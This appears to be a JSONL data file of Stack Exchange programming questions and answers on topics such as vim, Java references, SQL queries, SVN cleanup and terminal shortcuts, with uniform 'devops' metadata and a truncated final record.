{"id": "hf_fc7038550acb", "question": "<p>One of the best tips for using vim that I have learned so far has been that one can press <kbd>Ctrl</kbd>+<kbd>C</kbd> or <kbd>Ctrl</kbd>+<kbd>[</kbd> instead of the <kbd>Esc</kbd> key. However I use a dvorak keyboard so <kbd>Ctrl</kbd>+<kbd>[</kbd> is a little out of reach for me as well so I mostly use <kbd>Ctrl</kbd>+<kbd>C</kbd>. Now I've read somewhere that these two key combinations don't actually have exactly the same behaviour and that it is better to use <kbd>Ctrl</kbd>+<kbd>[</kbd>. I haven't come across any problems so far though so I'd like to know what exactly is the difference between the two?</p>\n", "question_body": "", "answer": "According to Vim's documentation,\nCtrl\n+\nC\ndoes not check for abbreviations and does not trigger the\n```\nInsertLeave\n```\nautocommand event while\nCtrl\n+\n[\ndoes.\nOne option is to use the following to remap\nCtrl\n+\nC\n```\n```\ninoremap <C-c> <Esc><Esc>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:46.986723"}
{"id": "hf_2dd0aee0bfc4", "question": "<p>Phantom References serve for post-mortem operations.\nThe Java specification states that a <strong>phantom referenced object</strong> will not be deallocated until the phantom-reference itself is cleaned.</p>\n\n<p>My question is: What purpose does this feature (object not deallocated) serve?</p>\n\n<p>(The only idea i came up with, is to allow native code to do post-mortem cleanup on the object, but it isn't much convincing).</p>\n", "question_body": "", "answer": "Edit, since I've misunderstand the question first:\nQuoted from here\nhttp://www.memorymanagement.org/glossary/p.html\n:\nThe Java specification says that the\n  phantom reference is not cleared when\n  the reference object is enqueued, but\n  actually, there's no way in the\n  language to tell whether that has been\n  done or not. In some implementations,\n  JNI weak global references are weaker\n  than phantom references, and provide a\n  way to access phantom reachable\n  objects.\nBut I found no other references which would say the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.011378"}
{"id": "hf_d6e54ec7e12d", "question": "<p>I've started refactoring some legacy code recently and came across two functions for drawing a coordinate grid, the problem is that these functions differ only in orthogonal variables they treat, something like that</p>\n\n<pre><code>void DrawScaleX(HDC dc, int step, int x0, int x1, int y0, int y1)\n{\n    for(int x = x0; x &lt; x1; x += step)\n    {\n         MoveToEx(dc, x, y0, NULL);\n         LineTo(dc, x, y1);\n    }\n}\nvoid DrawScaleY(HDC dc, int step, int x0, int x1, int y0, int y1)\n{\n    for(int y = y0; y &lt; y1; y += step)\n    {\n         MoveToEx(dc, x0, y, NULL);\n         LineTo(dc, x1, y);\n    }\n}\n</code></pre>\n\n<p>So if I decide to add some fancy stuff, like antialiasing or merely change drawing pencil or whatever I'll have to put the same code in both of them and it's code duplication and it's bad we all know why.</p>\n\n<p>My question is how would you rewrite these two functions into a single one to avoid this problem?</p>\n", "question_body": "", "answer": "Here is my own solution\n```\n```\nclass CoordGenerator\n{\npublic:\n    CoordGenerator(int _from, int _to, int _step)\n        :from(_from), to(_to), step(_step), pos(_from){}\n    virtual POINT GetPoint00() const = 0;\n    virtual POINT GetPoint01() const = 0;\n    bool Next()\n        {\n            if(pos > step) return false;\n            pos += step;\n        }\nprotected:\n    int from;\n    int to;\n    int step;\n    int pos;\n};\n\nclass GenX: public CoordGenerator\n{\npublic:\n    GenX(int x0, int x1, int step, int _y0, int _y1)\n        :CoordGenerator(x0, x1, step),y0(_y0), y1(_y1){}\n    virtual POINT GetPoint00() const\n        {\n            const POINT p = {pos, y0};\n            return p;\n        }\n    virtual POINT GetPoint01() const\n        {\n            const POINT p = {pos, y1};\n            return p;\n        }\nprivate:\n    int y0;\n    int y1;\n};\n\nclass GenY: public CoordGenerator\n{\npublic:\n    GenY(int y0, int y1, int step, int _x0, int _x1)\n        :CoordGenerator(y0, y1, step),x0(_x0), x1(_x1){}\n    virtual POINT GetPoint00() const\n        {\n            const POINT p = {x0, pos};\n            return p;\n        }\n    virtual POINT GetPoint01() const\n        {\n            const POINT p = {x1, pos};\n            return p;\n        }\nprivate:\n    int x1;\n    int x0;\n};\n\nvoid DrawScale(HDC dc, CoordGenerator* g)\n{\n    do\n    {\n        POINT p = g->GetPoint00();\n        MoveToEx(dc, p.x, p.y, 0);\n        p = g->GetPoint01();\n        LineTo(dc, p.x, p.y);\n    }while(g->Next());\n}\n```\n```\nBut I it seems to me too complicated for such a tiny problem, so I'm looking forward to still see your solutions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.035593"}
{"id": "hf_40f20501c405", "question": "<pre><code>public static Logger getLogger() {\n    final Throwable t = new Throwable();\n    final StackTraceElement methodCaller = t.getStackTrace()[1];\n    final Logger logger = Logger.getLogger(methodCaller.getClassName());\n    logger.setLevel(ResourceManager.LOGLEVEL);\n    return logger;\n}\n</code></pre>\n\n<p>This method would return a logger that knows the class it's logging for.\nAny ideas against it?</p>\n\n<p>Many years later: <a href=\"https://github.com/yanchenko/droidparts/blob/master/droidparts/src/org/droidparts/util/L.java\" rel=\"noreferrer\">https://github.com/yanchenko/droidparts/blob/master/droidparts/src/org/droidparts/util/L.java</a></p>\n", "question_body": "", "answer": "You could of course just use Log4J with the appropriate pattern layout:\nFor example, for the class name \"org.apache.xyz.SomeClass\", the pattern %C{1} will output \"SomeClass\".\nhttp://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.060617"}
{"id": "hf_663f09dbfcce", "question": "<p>I want to find 2<sup>nd</sup>, 3<sup>rd</sup>, ... n<sup>th</sup> maximum value of a column.</p>\n", "question_body": "", "answer": "You could sort the column into descending format and then just obtain the value from the nth row.\nEDIT::\nUpdated as per comment request.\nWARNING\ncompletely untested!\n```\n```\nSELECT DOB FROM (SELECT DOB FROM USERS ORDER BY DOB DESC) WHERE ROWID = 6\n```\n```\nSomething like the above should work for Oracle ... you might have to get the syntax right first!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.110744"}
{"id": "hf_94df2315bc01", "question": "<p>Any ideas how to determine the number of active threads currently running in an <a href=\"https://docs.oracle.com/javase/9/docs/api/java/util/concurrent/ExecutorService.html\" rel=\"noreferrer\"><code>ExecutorService</code></a>?</p>\n", "question_body": "", "answer": "Use a\nThreadPoolExecutor\nimplementation and call\ngetActiveCount()\non it:\n```\n```\nint getActiveCount() \n// Returns the approximate number of threads that are actively executing tasks.\n```\n```\nThe ExecutorService interface does not provide a method for that, it depends on the implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.207795"}
{"id": "hf_2a6a51d177e9", "question": "<p>I've been doing some work with the JAX-RS reference implementation (Jersey).\nI know of at least two other frameworks (Restlet &amp; Apache CXF).</p>\n\n<p>My question is: Has anyone done some comparison between those frameworks and if so, which framework would you recommend and why?</p>\n", "question_body": "", "answer": "My colleague mentions why we are using RESTeasy for our current project in\nRESTful web services in Java EE with RESTeasy (JAX-RS)\n:\nIts reference implementation, Jersey, was not chosen because we had trouble integrating it well with EJB3 and Seam 2.0.\nWe are using the RESTeasy implementation of JAX-RS, because we had no trouble integrating it with our EJBs and Seam. It also has sufficient documentation.\nThere is another implementation from Apache, but I haven’t tried it because it uses an older version of JAX-RS.\nFinally there is yet another framework for RESTful web services for Java called Restlet but we did not favour it because at the time of this writing, it is using a custom architecture, even though proper JAX-RS support is in the works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.243187"}
{"id": "hf_f32c9dc7548b", "question": "<p>I've been wondering, is there a performance difference between using named functions and anonymous functions in Javascript? </p>\n\n<pre><code>for (var i = 0; i &lt; 1000; ++i) {\n    myObjects[i].onMyEvent = function() {\n        // do something\n    };\n}\n</code></pre>\n\n<p>vs</p>\n\n<pre><code>function myEventHandler() {\n    // do something\n}\n\nfor (var i = 0; i &lt; 1000; ++i) {\n    myObjects[i].onMyEvent = myEventHandler;\n}\n</code></pre>\n\n<p>The first is tidier since it doesn't clutter up your code with rarely-used functions, but does it matter that you're re-declaring that function multiple times?</p>\n", "question_body": "", "answer": "As a general design principle, you should avoid implimenting the same code multiple times. Instead you should lift common code out into a function and execute that (general, well tested, easy to modify) function from multiple places.\nIf (unlike what you infer from your question) you are declaring the internal function once and using that code once (and have nothing else identical in your program) then an anonomous function\nprobably\n(thats a guess folks) gets treated the same way by the compiler as a normal named function.\nIts a very useful feature in specific instances, but shouldn't be used in many situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.279805"}
{"id": "hf_1466da3b08fb", "question": "<p>On a file path field, I want to capture the directory path like:</p>\n\n<pre><code>textbox1.Text = directory path\n</code></pre>\n\n<p>Anyone?</p>\n", "question_body": "", "answer": "There is a FolderBrowserDialog class that you can use if you want the user to select a folder.\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.folderbrowserdialog.aspx\n```\n```\nDialogResult result = folderBrowserDialog1.ShowDialog();\nif (result.Equals(get_DialogResult().OK)) {\n    textbox1.Text = folderBrowserDialog1.get_SelectedPath();\n}\n```\n```\nIf all you want is to get the direcotory from a full path, you can do this:\n```\n```\ntextbox1.Text = Path.GetDirectoryName(@\"c:\\windows\\temp\\myfile.txt\");\n```\n```\nThis will set the Text-property to \"c:\\windows\\temp\\\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.304086"}
{"id": "hf_cdbbca517b83", "question": "<p>I have an Access 2007 form that is searchable by a combobox.  When I add a new record, I need to update the combobox to include the newly added item. </p>\n\n<p>I assume that something needs to be done in AfterInsert event of the form but I can't figure out what.  </p>\n\n<p>How can I rebind the combobox after inserting so that the new item appears in the list?</p>\n", "question_body": "", "answer": "I assume your combobox is a control on a form, not a combobox control in a commandBar. This combobox has a property called rowsource, that can be either a value list (husband;wife;son;girl) or a SQL SELECT instruction (SELECT relationDescription FROM Table_relationType).\nI assume also that your form recordset has something to do with your combobox recordset. What you'll have to do is, once your form recordset is\nproperly updated\n(afterUpdate event I think), to reinitialise the rowsource property of the combobox control\nif the recordsource is an SQL instruction:\n```\n```\nmyComboBoxControl.recordsource = _\n    \"SELECT relationDescription FROM Table_relationType\"\n```\n```\nor if it is a value list\n```\n```\nmyComboBoxControl.recordsource = myComboBoxControl.recordsource & \";nephew\"\n```\n```\nBut over all I find your request very strange. Do you have a reflexive (parent-child) relationship on your table?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.341076"}
{"id": "hf_f04eacc2ab85", "question": "<p>As the local subversion czar i explain to everyone to keep only source code and non-huge text files in the repository, not huge binary data files.  Smaller binary files that are parts of tests, maybe.    </p>\n\n<p>Unfortunately i work with <em>humans</em>!  Someone is likely to someday accidentally commit a 800MB binary hulk. This slows down repository operations.  </p>\n\n<p>Last time i checked, you can't delete a file from the repository; only make it not part of the latest revision.  The repository keeps the monster for all eternity, in case anyone ever wants to recall the state of the repository for that date or revision number.  </p>\n\n<p>Is there a way to really delete that monster file  and end up with a decent sized repository?   I've tried the svnadmin dump/load thing but it was a pain.</p>\n", "question_body": "", "answer": "To permanently delete monster files from a svn repository, there is no other solution than using svnadmin dump/load. (\nSVN Book: dump command\n)\nTo prevent huge files from being committed, a hook script can be used. You could have, for example, a script that ran \"pre-commit\" whenever someone tried to commit to the repository. The script might check filesize, or filetype, and reject the commit if it contained a file or files that were too large, or of a \"forbidden\" type.\nMore typical uses of hook scripts are to check (pre-commit) that a commit contains a log message, or (post-commit) to email details of the commit or to update a website with the newly committed files.\nA hook script is a script that runs in response to response to repository events (\nSVN Book: Create hooks\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.365495"}
{"id": "hf_192a3cfa9e72", "question": "<p>I am trying to use Zend_Db_Select to write a select query that looks somewhat like this:</p>\n\n<pre><code>SELECT * FROM bar WHERE a = 1 AND (b = 2 OR b = 3)\n</code></pre>\n\n<p>However, when using a combination of where() and orWhere(), it seems impossible to use condition grouping like the above.</p>\n\n<p>Are there any native ways in Zend Framework to achieve the above (without writing the actual query?)</p>\n", "question_body": "", "answer": "From\nthe manual\n(Example 11.61. Example of parenthesizing Boolean expressions)\n```\n```\n// Build this query:\n//   SELECT product_id, product_name, price\n//   FROM \"products\"\n//   WHERE (price < 100.00 OR price > 500.00)\n//     AND (product_name = 'Apple')\n\n$minimumPrice = 100;\n$maximumPrice = 500;\n$prod = 'Apple';\n\n$select = $db->select()\n             ->from('products',\n                    array('product_id', 'product_name', 'price'))\n             ->where(\"price < $minimumPrice OR price > $maximumPrice\")\n             ->where('product_name = ?', $prod);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.403069"}
{"id": "hf_4d1f8454aa89", "question": "<p>I'm writing a Rails application which will monitor data quality over some specific databases. In order to do that, I need to be able to execute direct SQL queries over these databases - which of course are not the same as the one used to drive the Rails application models. In short, this means I can't use the trick of going through the ActiveRecord base connection.</p>\n\n<p>The databases I need to connect to are not known at design time (i.e.: I can't put their details in database.yaml). Rather, I have a model 'database_details' which the user will use to enter the details of the databases over which the application will execute queries at runtime. </p>\n\n<p>So the connection to these databases really is dynamic and the details are resolved at runtime only.</p>\n", "question_body": "", "answer": "You may be able to do this through\n```\nself.establish_connection\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.439625"}
{"id": "hf_1bd8daccfb5a", "question": "<p>I am seeing strange behaviour with the flash.media.Sound class in Flex 3.</p>\n\n<pre><code>var sound:Sound = new Sound();\ntry{\nsound.load(new URLRequest(\"directory/file.mp3\"))\n} catch(e:IOError){\n ...\n}\n</code></pre>\n\n<p>However this isn't helping. I'm getting a stream error, and it actually sees to be in the Sound constructor.</p>\n\n<blockquote>\n  <p>Error #2044: Unhandled IOErrorEvent:.\n  text=Error #2032: Stream Error.   at... ]</p>\n</blockquote>\n\n<p>I saw one example in the Flex docs where they add an event listener for IOErrorEvent, SURELY I don't have to do this, and can simply use try-catch? Can I set a null event listener?</p>\n", "question_body": "", "answer": "You will need to add a listener since the URLRequest is not instantaneous. It will be\nvery\nfast if you're loading from disk, but you will still need the Event-listener. \nThere's a good example of how to set this up (Complete with IOErrorEvent handling) in the\nlivedocs\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.463785"}
{"id": "hf_feab64593e5f", "question": "<p>I am trying to write some JavaScript RegEx to replace user inputed tags with real html tags, so <code>[b]</code> will become <code>&lt;b&gt;</code> and so forth. the RegEx I am using looks like so</p>\n\n<pre><code>var exptags = /\\[(b|u|i|s|center|code){1}]((.){1,}?)\\[\\/(\\1){1}]/ig;\n</code></pre>\n\n<p>with the following JavaScript</p>\n\n<pre><code>s.replace(exptags,\"&lt;$1&gt;$2&lt;/$1&gt;\");\n</code></pre>\n\n<p>this works fine for single nested tags, for example:</p>\n\n<pre><code>[b]hello[/b] [u]world[/u]\n</code></pre>\n\n<p>but if the tags are nested inside each other it will only match the outer tags, for example </p>\n\n<pre><code>[b]foo [u]to the[/u] bar[/b]\n</code></pre>\n\n<p>this will only match the <code>b</code> tags. how can I fix this? should i just loop until the starting string is the same as the outcome? I have a feeling that the <code>((.){1,}?)</code> patten is wrong also?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "AFAIK you can't express recursion with regular expressions.\nYou can however do that with .NET's System.Text.RegularExpressions using balanced matching. See more here:\nhttp://blogs.msdn.com/bclteam/archive/2005/03/15/396452.aspx\nIf you're using .NET you can probably implement what you need with a callback. \nIf not, you may have to roll your own little javascript parser.\nThen again, if you can afford to hit the server you can use the full parser. :)\nWhat do you need this for, anyway? If it is for anything other than a preview I highly recommend doing the processing server-side.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.587495"}
{"id": "hf_785b4ba12a0e", "question": "<p>As you can see, even after the program should have died it speaks from the grave. Is there a way to \"deregister\" the exitfunction in case of exceptions?</p>\n\n<pre><code>import atexit\n\ndef helloworld():\n    print(\"Hello World!\")\n\natexit.register(helloworld)\n\nraise Exception(\"Good bye cruel world!\")\n</code></pre>\n\n<p>outputs</p>\n\n<pre><code>Traceback (most recent call last):\n  File \"test.py\", line 8, in &lt;module&gt;\n    raise Exception(\"Good bye cruel world!\")\nException: Good bye cruel world!\nHello World!\n</code></pre>\n", "question_body": "", "answer": "If you call\n```\n```\nimport os\nos._exit(0)\n```\n```\nthe exit handlers will not be called, yours or those registered by other modules in the application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.625035"}
{"id": "hf_2b5edb43c3d3", "question": "<p>In the KornShell (ksh) on <b>AIX UNIX Version 5.3</b> with the editor mode set to vi using:</p>\n\n<pre><code>set -o vi\n</code></pre>\n\n<p>What are the key-strokes at the shell command line to autocomplete a file or directory name?</p>\n", "question_body": "", "answer": "ESC\\ works fine on AIX4.2 at least.  One thing I noticed is that it only autocompletes to the unique part of the file name.\nSo if you have the files x.txt, x171go and x171stop, the following will happen:\n```\n```\nPress keys:           Command line is:\nx                     x\n<ESC>\\                x\n1                     x1\n<ESC>\\                x171\ng<ESC>\\               x171go\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.686254"}
{"id": "hf_d66e5e57f55b", "question": "<p>What free and commercial garbage collection libraries are available for C++, and what are the pros and cons of each?</p>\n\n<p>I am interested in hard-won lessons from actual use in the field, not marketing or promotional blurb.</p>\n\n<p>There is no need to elaborate on the usual trade offs associated with automatic garbage collection, but please do mention the algorithms used (reference counting, mark and sweep, incremental, etc.) and briefly summarise the consequences.</p>\n", "question_body": "", "answer": "The Boehm garbage collector\nis freely available, and supposedly rather good (no first hand experience myself)\nTheoretical paper (in PDF) about\nC++0x proposal for the Boehm garbage collector\nIt was originally said to make C++0x\n, but will not make it after all\n(due to time constraints I suppose).\nProprosal N2670\n(minimal support for garbage collectors) did get approved in june 2008 though, so as compiler implementations pick up on this, and the standard gets finalised, the garbage collection world out there for C++ is sure to change...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.723807"}
{"id": "hf_095c20ee578a", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/48935/how-can-i-register-a-global-hot-key-to-say-ctrlshiftletter-using-wpf-and-ne\">How can I register a global hot key to say CTRL+SHIFT+(LETTER) using WPF and .NET 3.5?</a>  </p>\n</blockquote>\n\n\n\n<p>I'd like to have multiple global hotkeys in my new app (to control the app from anywhere in windows), and all of the given sources/solutions I found on the web seem to provide with a sort of a limping solution (either solutions only for one g.hotkey, or solutions that while running create annoying mouse delays on the screen).</p>\n\n<p>Does anyone here know of a resource that can help me achive this, that I can learn from?\nAnything?</p>\n\n<p>Thanks !  :)</p>\n", "question_body": "", "answer": "http://www.codeproject.com/KB/cs/CSLLKeyboardHook.aspx\nIf you're not using .net 3.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.835243"}
{"id": "hf_7f612a7d2c65", "question": "<p>What is the best, preferably free/open source tool for auto-generating Java unit-tests? I know, the unit-tests cannot really serve the same purpose as normal TDD Unit-Tests which document and drive the design of the system. However auto-generated unit-tests can be useful if you have a huge legacy codebase and want to know whether the changes you are required to make will have unwanted, obscure side-effects.</p>\n", "question_body": "", "answer": "To be honest, I probably wouldn't do this.  Unit tests are isolated and you won't actually know if you have \"unwanted, obscure side-effects\" because everything is walled off from the other things that cause the side effects.  As a result, you need integration or system testing and\nthat\nis not something you can automate.\nBuild a few high-level, end-to-end system tests which give you a degree of confidence and then use coverage testing to find out what you've missed,  The downside is that when bugs crop up, it will be harder to point to their exact cause, but the upside is that you'll be far more likely to see the bugs.\nOnce you find bugs, write unit tests just for them.  As you move forward, you can use TDD for the bits you want to refactor.\nI know this probably wasn't the answer you want to hear, but I've been testing for many, many years and this is a solid approach (though I would hardly call it the only approach :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.884654"}
{"id": "hf_ec481d55e089", "question": "<p>Which built in (if any) tool can I use to determine the allocation unit size of a certain NTFS partition ?</p>\n", "question_body": "", "answer": "Open an administrator command prompt, and do this command:\n```\n```\nfsutil fsinfo ntfsinfo [your drive]\n```\n```\nThe Bytes Per Cluster is the equivalent of the allocation unit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:47.994076"}
{"id": "hf_9b862f856bfc", "question": "<p>I know the combination <kbd>Ctrl</kbd>+<kbd>A</kbd> to jump to the beginning of the current command, and <kbd>Ctrl</kbd>+<kbd>E</kbd> to jump to the end. </p>\n\n<p>But is there any way to jump word by word, like <kbd>Alt</kbd>+<kbd>&larr;</kbd>/<kbd>&rarr;</kbd> in Cocoa applications does?</p>\n", "question_body": "", "answer": "Here's how you can do it\nBy default, the Terminal has these shortcuts to move (left and right) word-by-word:\nesc\n+\nB\n(left)\nesc\n+\nF\n(right)\nYou can configure\nalt\n+\n←\nand\n→\nto generate those sequences for you:\nOpen Terminal preferences (\ncmd\n+\n,\n);\nAt Settings tab, select Keyboard and double-click\n```\n⌥ ←\n```\nif it's there, or add it if it's not.\nSet the modifier as desired, and type the shortcut key in the box:\nesc\n+\nB\n, generating the text\n```\n\\033b\n```\n(you can't type this text manually).\nRepeat for word-right (\nesc\n+\nF\nbecomes\n```\n\\033f\n```\n)\nAlternatively, you can refer to this blog post over at textmate:\nhttp://blog.macromates.com/2006/word-movement-in-terminal/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.066887"}
{"id": "hf_756c78dd5d4d", "question": "<p>The question says it all basically. </p>\n\n<p>I want in a </p>\n\n<pre><code>class MyClass \n</code></pre>\n\n<p>to listen to a routed event. Can it be done ?</p>\n", "question_body": "", "answer": "If you can create an\ninner\nclass of MyClass (call it MyInnerClass) that derives from FrameworkElement while retaining the capability to access an enclosing MyClass object, your problem will be solved. You can then implement a 'getListener' method within MyClass that returns the embedded MyInnerClass that you will use to actually listen to events.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.092612"}
{"id": "hf_563b5c7240be", "question": "<p>How do people usually detect the MIME type of an uploaded file using ASP.NET?</p>\n", "question_body": "", "answer": "in the aspx page:\n```\n```\n<asp:FileUpload ID=\"FileUpload1\" runat=\"server\" />\n```\n```\nin the codebehind (c#):\n```\n```\nstring contentType = FileUpload1.PostedFile.ContentType\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.120246"}
{"id": "hf_bdf80e5c1469", "question": "<p>I re-image one of my machines regularly; and have a script that I run after the OS install completes to configure my machine; such that it works how I like.</p>\n\n<p>I happen to have my data on another drive...and I'd like to add code to my script to change the location of the Documents directory from \"C:\\Users\\bryansh\\Documents\" to \"D:\\Users\\bryansh\\Documents\".</p>\n\n<p>Does anybody have any insight, before I fire up regmon and really roll up my sleeves?</p>\n", "question_body": "", "answer": "in the aspx page:\n```\n```\n<asp:FileUpload ID=\"FileUpload1\" runat=\"server\" />\n```\n```\nin the codebehind (c#):\n```\n```\nstring contentType = FileUpload1.PostedFile.ContentType\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.144039"}
{"id": "hf_03500e30743b", "question": "<pre><code>struct foo { unsigned x:1; } f;\nprintf(\"%d\\n\", (int)sizeof(f.x = 1));\n</code></pre>\n\n<p>What is the expected output and why?  Taking the size of a bitfield lvalue directly isn't allowed. But by using the assignment operator, it seems we can still take the size of a bitfield type.</p>\n\n<p>What is the \"size of a bitfield in bytes\"?  Is it the size of the storage unit holding the bitfield?  Is it the number of bits taken up by the bf rounded up to the nearest byte count?</p>\n\n<p>Or is the construct undefined behavior because there is nothing in the standard that answers the above questions?  Multiple compilers on the same platform are giving me inconsistent results.</p>\n", "question_body": "", "answer": "Wouldn't\n```\n```\n(f.x = 1)\n```\n```\nbe an expression evaluating to true (technically in evaluates to result of the assignment, which is 1/true in this case), and thus,\n```\n```\nsizeof( f.x = 1)\n```\n```\nis asking for the size of true in terms of how many chars it would take to store it?\nI should also add that the Wikipedia article on\nsizeof\nis nice.  In particular, they say \"sizeof is a compile-time operator that returns the size, in multiples of the size of char, of the variable or parenthesized type-specifier that it precedes.\"\nThe article also explains that sizeof works on expressions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:48.181355"}
{"id": "hf_c60bd2972143", "question": "<p>Is there a way to change the encoding used by the String(byte[]) constructor ?</p>\n\n<p>In my own code I use String(byte[],String) to specify the encoding but I am using an external library that I cannot change.</p>\n\n<pre><code>String src = \"with accents: é à\";\nbyte[] bytes = src.getBytes(\"UTF-8\");\nSystem.out.println(\"UTF-8 decoded: \"+new String(bytes,\"UTF-8\"));\nSystem.out.println(\"Default decoded: \"+new String(bytes));\n</code></pre>\n\n<p>The output for this is :</p>\n\n<pre>UTF-8 decoded: with accents: é à\nDefault decoded: with accents: Ã© Ã \n</pre>\n\n<p>I have tried changing the system property <code>file.encoding</code> but it does not work.</p>\n", "question_body": "", "answer": "Quoted from\ndefaultCharset()\nThe default charset is determined\n  during virtual-machine startup and\n  typically depends upon the locale and\n  charset of the underlying operating\n  system.\nIn most OSes you can set the charset using a environment variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, 